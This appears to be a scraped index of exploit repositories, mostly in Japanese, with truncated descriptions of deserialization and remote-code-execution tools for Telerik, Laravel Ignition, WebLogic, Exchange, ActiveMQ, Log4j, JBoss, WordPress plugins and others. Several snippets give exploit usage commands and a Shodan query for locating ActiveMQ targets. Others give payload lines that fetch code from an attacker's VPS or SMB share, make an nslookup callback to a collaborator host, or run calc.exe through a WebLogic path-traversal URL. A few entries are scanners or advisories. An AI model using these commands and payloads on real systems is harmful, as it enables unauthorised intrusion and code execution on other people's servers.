wordpress-php-object-helper

wordpress-php-object-helper 概要 既知のプラグインにPHPオブジェクトエクスプロイトがあるが、その問題を悪用してphpggcで実行するためにどのライブラリを使うべきか判断する必要がある、という場合に役立ちます。 これがあなたの助けになるはずです。 出力例 $ python3 finder.py -u http://wordpress.lan -f wp-plugins.lst Processing URLs:...

RAU_crypto

RAUcrypto Telerik UI for ASP.NET AJAX 向けの複合エクスプロイトです。 CVE-2017-11317 および CVE-2017-11357 のファイルアップロード - ファイルを自動的にアップロードします CVE-2019-18935 の .NET 逆シリアル化 攻撃者がホストする SMB サービスからリモートペイロードを取得するターゲットの能力をテストする機能にも対応しました。必要な前提条件が整っているかどうかをテストするには、Burp Collaborator や Responder を利用してください。...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE エクスプロイト これは、Laravel に Ignition パッケージがインストールされている場合のリモートコード実行脆弱性 CVE-2021-3129 に対する Python エクスプロイトスクリプトです。この脆弱性により、攻撃者は PHAR デシリアライゼーションを介して任意のシステムコマンドを実行できます。 特徴 phpggc を使用して PHAR ペイロードを自動生成 任意のコマンド（例：id、whoami など）をユーザー入力として受け付け ログのクリア、ペイロードの注入、ログの PHAR...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat コンポーネントの逆シリアル化脆弱性 CVE-2017-10271 検出・エクスプロイトスクリプト 使用方法 $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ 機能 スタンドアロン Python スクリプト 任意のホストが脆弱かどうかを確認するチェック機能 Linux ターゲット向けのエクスプロイト機能 Metasploit モジュール 任意のホストが脆弱かどうかを確認するチェック機能...

cve-2020-0688

cve-2020-0688 cve-2020-0688 メールアドレス権限を持つユーザーでログインしても問題はありません。 ページソースから VIEWSTATEGENERATOR を取得 viewstateuserkey 値のために ASP.NETSessionId クッキーの値を取得 YSOをダウンロード ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1"...

CVE-2022-30778

警告 脆弱性は取り消されました オーバーライド これは CVE-2021-43503 についてです。 必要条件 PHP = 8.0 Composer 脆弱性の再現 1. サービスの起動 composer install cp .env.example .env php artisan key:generate php artisan serve it will listening 8000 port in localhost 2. PoC queueResolver = "system"; namespace Illuminate\Broadcasting use...

CVE-2023-46604

CVE-2023-46604 CVE-2023-46604 用エクスプロイト このツールは、この脆弱性の悪用に役立ちます。 ターゲットを検索するための Shodan クエリ: product:"ActiveMQ" port:"61616" ツールの使用方法: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml この CVE...

CVE-2020-35488

製品 nxlog-ce2.10.2150 に脆弱性を発見しました。 PoC は Linux Debian 10 と Windows Windows Server 2016 でのみテスト済みです。 1 説明 : スコープ : NXLOG Community Edition 2.10.2150 バグの種類 : CWE-502, 信頼されないデータのデシリアライゼーション https://cwe.mitre.org/data/definitions/502.html 脆弱な部分 : Syslog ペイロード ペイロード : Unix : Sep 14 14:09:09 .. dhcp...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition リモートコード実行 CVSS 9.8（Critical） | 安全でないファイル操作 → ログポイズニング → Phar デシリアライゼーション → RCE 概要 Laravel Ignition -c "whoami" 参考 NVD — CVE-2021-3129 Ignition Patch 2.5.2...

CVE-2022-45047

CVE-2022-45047 POC、EXP、私のためのchatGPT コード import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding": "gzip, deflate" da...

CVE-2020-14882

CVE-2020-14882 coherence ShellSession calc.exe の実行 import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '%22java.lang.Runtime.getRuntime.exec%27calc.exe%27;%22'.format'192.168.1.53',...

CVE-2019-17571

CVE-2019-17571/Apache Log4j 1.2.X における逆シリアル化リモートコード実行脆弱性 脆弱性警告参考リンク： https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ 1. 脆弱性の説明 Apache Log4j は、米国 Apache ソフトウェア財団が開発した Java ベースのオープンソースログ記録ツールです。Apache Log4j 1.2.X シリーズには、逆シリアル化によるリモートコード実行の脆弱性が存在します。攻撃者はこの脆弱性を利用して任意の悪意あるコマンドを実行する可能性があります。Log4j...

CVE-2017-7504-poc

JBoss 4.x JBossMQ JMS 逆シリアル化脆弱性 poc -h 使用方法を表示...

Telerik_CVE-2019-18935

TelerikUI Python スキャナ telerikrcescan.py 使用例 CVE-2019-18935 について IP を評価する $ python3 telerikrcescan.py -t 192.168.44.21 CVE-2019-18935 についてホスト名を評価する $ python3 telerikrcescan.py -t vulnerable.telerik.net CVE-2019-18935 について CIDR ネットワーク範囲を評価する $ python3 telerikrcescan.py -r 23.253.4.0/24 ターゲットのリストを評価...

cve-2020-9006

CVE-2020-9006: Wordpress Popup-Builder プラグインのエクスプロイト Usage: Create and upload payload Also see: php create-serialized-payload.php -h $ php create-serialized-payload.php | curl -F 'sprunge=-' http://sprunge.us http://sprunge.us/XXXXXX Run exploit $ nmap --script ./cve-2020-9006 --script-args...

SerialKillerBypassGadgetCollection

SerialKiller: バイパスガジェットコレクション 説明 JVMデシリアライゼーションガジェットチェーンで使用して、"Look-Ahead ObjectInputStreams"による防御的なデシリアライゼーションをバイパスできるバイパスガジェットのコレクションです。 Alvaro Muñoz（@pwntester）およびChristian Schneider（@cschneider4711）によるRSA 2016講演「"SerialKiller: Silently Pwning Your Java Endpoints"」の一環としてリリースされました。...

CVE-2025-55182

什么是 CVE-2025-55182？ 也被称为 React2Shell，是指 React Server Components 的结构性缺陷，在反序列化数据时发生原型污染，从而导致能够执行 RCE 的漏洞。 受影响版本为 React 19.0.0, 19.1.0, 19.1.1, 19.2.0, Next.js 15.x（15.0.0 15.5.6）、16.x（16.0.0 16.0.6）及更高版本。...

CVE-2026-44963

CVE-2026-44963 — Veeam Backup & Replication RCE 研究リポジトリ bySentinelX — 許可されたセキュリティテストおよび防御目的に限ります。 概要 フィールド| 詳細 ---|--- CVE ID| CVE-2026-44963 ベンダー| Veeam 製品| Backup & Replication 影響を受けるバージョン| 12.3.2.4854 すべてのv12ビルド 修正バージョン| 12.3.2.4854 CVSS v4 スコア| 9.4 — 重大 CVSS v3 スコア| 8.8 — 高 CWE| CWE-502...

telerik-scanner-CVE-2019-18935

Telerik CVE-2019-18935 脆弱性スキャナー Telerik UI for ASP.NET AJAX のリモートコード実行脆弱性 CVE-2019-18935 を検出するために設計された Python ベースのセキュリティスキャナー。 🚨 脆弱性の詳細 CVE : CVE-2019-18935 リスクレベル : HIGH CWE : CWE-913 CVSS : 9.8 Critical 説明 Telerik UI for ASP.NET AJAX バージョン 2019.3.1023 以前には、RadAsyncUpload 関数に .NET...

CVE-2018-3245

CVE-2018-3245 ステップ1 java -jar ysoserial-cve-2018-3245.jar Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler CVE20183245 @mbechler...